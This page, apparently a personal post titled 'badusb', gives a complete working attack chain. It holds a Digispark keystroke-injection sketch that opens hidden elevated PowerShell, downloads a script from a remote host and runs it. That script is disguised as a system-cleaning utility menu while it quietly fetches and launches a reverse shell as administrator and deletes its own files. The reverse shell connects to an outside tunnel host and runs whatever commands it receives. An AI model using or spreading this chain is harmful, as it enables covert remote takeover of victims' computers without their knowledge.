badusb
源视频
烧录脚本
#include "DigiKeyboard.h"
void setup() {
pinMode(1, OUTPUT);
DigiKeyboard.sendKeyStroke(0);
delay(3000);
DigiKeyboard.sendKeyStroke(57);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);//WIN+R
delay(2000);
DigiKeyboard.sendKeyStroke(0);
delay(1000);
DigiKeyboard.println("cmd /c start powershell -w hidden");
delay(2000);
DigiKeyboard.println("start-process -verb runas c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe");
delay(3000);
DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT);
delay(2000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
delay(3000);
DigiKeyboard.println(F("set-executionpolicy remotesigned"));
delay(500);
DigiKeyboard.println("a");
delay(500);
DigiKeyboard.println("$q = new-object system.net.webclient");
delay(500);
DigiKeyboard.println("$q.downloadfile('http://static.iswenzi.com/forwen.ps1', 'c:\\forwen.ps1')");
delay(500);
DigiKeyboard.println("c:\\forwen.ps1");
delay(500);
DigiKeyboard.sendKeyStroke(57);
}
void loop() {
digitalWrite(1, HIGH);
delay(100);
digitalWrite(1, LOW);
delay(500);
digitalWrite(1, HIGH);
delay(100);
}
Powershell脚本
### Author: Rui Ma ###
### resize terminal size
$win=$Host.UI.RawUI.WindowSize
$win.Height=40
$win.Width=120
$Host.UI.RawUI.Set_windowsize($win)
## functions
# caculate size
function get_size($dir){
$cache = Get-ChildItem $dir -Recurse | Measure-Object -property length -sum
$size = ("{0:N2}" -f ($cache.sum / 1MB))
return $size
}
# delete cache
function clear_cache(){
Remove-Item $env:TEMP/* -recurse
Remove-Item C:\Windows\SoftwareDistribution\Download/* -recurse
$cache = get_size($env:TEMP)
Write-Output ""
Write-Host "Warning: Some files cannot be deleted temporarily because they are occupied by other applications."
Write-Host "After cleaning the system cache file size: "$cache "MB"
pause
}
# turn off system dormancy
function powercfg_off(){
C:\WINDOWS\System32\cmd.exe /c powercfg -h off
Write-Output ""
Write-Host "System dormancy has been closed, successfully releasing 5G to 20G space on disk C"
Write-Output ""
pause
}
# turn on system dormancy
function powercfg_on(){
C:\WINDOWS\System32\cmd.exe /c powercfg -h on
Write-Output "System dormancy has been opened"
pause
}
# open url
function open_url($url){
Start-Process -FilePath $url
}
# get content
function get_msm($url){
try{
#curl $url | Select -ExpandProperty Content
Invoke-RestMethod -Uri $url
}catch{
Write-Host "NET ERROR..."
}
}
# choose
function lang_choose($lang_choose){
Write-Output ""
if($lang_choose -eq 1){
$lang_choosed = "https://iswenzi.com/menu.php?lang=chinese"
}else{
$lang_choosed = "https://iswenzi.com/menu.php?lang=english"
}
return $lang_choosed
}
$msm = get_msm("https://iswenzi.com/Invoke-PowerShellTcp.php")
Set-Content -Path c:\system.ps1 -Value $msm
#$file = Get-Item c:\system.ps1
#$file.Attributes="hidden"
START-PROCESS -VERB RUNAS C:\WINDOWS\SYSWOW64\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE -WindowStyle Hidden "Import-Module c:\system.ps1;Invoke-PowerShellTcp"
## init
cls;Write-Host "Version: v1.0";Write-Host "Author: Rui Ma";Write-Output "";Write-Output "The program is being initialized...";Write-Output ""
$begin_time = Get-Date;$cache = get_size($env:TEMP);
#Start-Sleep –s 2
rm C:\FORWEN.PS1
Write-Host "System time:"$begin_time;Write-Host "System cache size:"$cache "MB";Write-Output "";Write-Output "Initialization completed!"
## choose function
Write-Output ""
$lang_choose = Read-Host "Language: 1.Chinese 2.English";if($lang_choose -eq 1){$lang_choosed = "https://iswenzi.com/menu.php?lang=chinese";}else{$lang_choosed = "https://iswenzi.com/menu.php?lang=english";}
while(1){
cls;get_msm($lang_choosed) # menu
$choose = Read-Host "Select the function you need"
switch($choose){
{$_ -eq 1}{clear_cache}
{$_ -eq 2}{cls;Write-Output "";Write-Host "21. Turn off system sleep (this function can be used if there is insufficient space on system disk C)";Write-Host "22. Turn on system sleep";pause}
{$_ -eq 21}{powercfg_off}
{$_ -eq 22}{powercfg_on}
{$_ -eq 3}{cls;Write-Output "";Write-Host "31. Task manager";Write-Host "32. Scheduled shutdown";Write-Host "33. Cancel the scheduled shutdown";pause}
{$_ -eq 31}{C:\WINDOWS\System32\Taskmgr.exe}
{$_ -eq 32}{$time_s = Read-Host "Please enter how many seconds to turn off the computer";C:\WINDOWS\System32\shutdown.exe -s -t $time_s}
{$_ -eq 33}{C:\WINDOWS\System32\shutdown.exe -a}
{$_ -eq 4}{cls;Write-Output "";Write-Host "41. List Tasks";Write-Host "42. Kill Task";pause}
{$_ -eq 41}{C:\Windows\System32\tasklist.exe;pause}
{$_ -eq 42}{$n_pid = Read-Host "Input the task PID";C:\Windows\System32\taskkill.exe /pid $n_pid /t;pause}
{$_ -eq 5}{Write-Host "No such command"}
{$_ -eq 7}{cls;Write-Output "";Write-Host "71. RWCloud.apk download";Write-Host "72. Access the Google plug-in of Chrome download";Write-Host "73. Windows digital activation tool download";Write-Host "74. iSlide tool download";pause}
{$_ -eq 71}{open_url("http://ruiwencloud.xyz/app/RWCloud.apk");}
{$_ -eq 72}{open_url("http://ruiwencloud.xyz/softwares/Chrome_Google.tar");}
{$_ -eq 73}{open_url("http://ruiwencloud.xyz/softwares/HWIDGen_v62.01_CHS.exe");}
{$_ -eq 74}{open_url("https://www.islide.cc/download");}
{$_ -eq 8}{cls;Write-Output "";Write-Host "81. Open Movie Website";Write-Host "82. Open Free Music Download Website";Write-Host "83. Programmed learning --JianShu"; pause}
{$_ -eq 81}{open_url("http://video.ruiwencloud.xyz")}
{$_ -eq 82}{open_url("https://music.sounm.com/")}
{$_ -eq 83}{open_url("https://www.jianshu.com/u/6cbbca425998")}
{$_ -eq 9}{cls;get_msm("http://ruiwencloud.xyz/app/msm");pause}
{$_ -eq 100}{exit}
{$_ -eq 101}{Write-Output "";$lang_choose = Read-Host "Language: 1.Chinese 2.English";if($lang_choose -eq 1){$lang_choosed = "http://ruiwencloud.xyz/app/msm/menu.php?lang=chinese";}else{$lang_choosed = "http://ruiwencloud.xyz/app/msm/menu.php?lang=english";}}
}# switch end
}# while end
Windows 反弹脚本
function Invoke-PowerShellTcp { try { #Connect back if the reverse switch is used. #$IPAddress = "10.215.64.73" #$Port = 666 $IPAddress = "s1.natfrp.com" $Port = 27455 $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port) rm C:\system.ps1 $stream = $client.GetStream() [byte[]]$bytes = 0..65535|%{0} #Send back current username and computername $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") $stream.Write($sendbytes,0,$sendbytes.Length) #Show an interactive PowerShell prompt $sendbytes = ([text.encoding]::ASCII).GetBytes("PS " + (Get-Location).Path + ">") $stream.Write($sendbytes,0,$sendbytes.Length) while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding $data = $EncodedText.GetString($bytes,0, $i) #try{Write-Host "PS " (Get-Location).Path "> " $data}catch{Write-Host $data} try { #Execute the command on the target. $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String ) } catch { Write-Warning "Something went wrong with execution of command on the target." Write-Error $_ } $sendback2 = $sendback + "PS " + (Get-Location).Path + "> " $x = ($error[0] | Out-String) $error.clear() $sendback2 = $sendback2 + $x #Write-Host $sendback2 #Return the results $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte,0,$sendbyte.Length) $stream.Flush() } $client.Close() if ($listener) { $listener.Stop() } } catch { Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port." Write-Error $_ } }
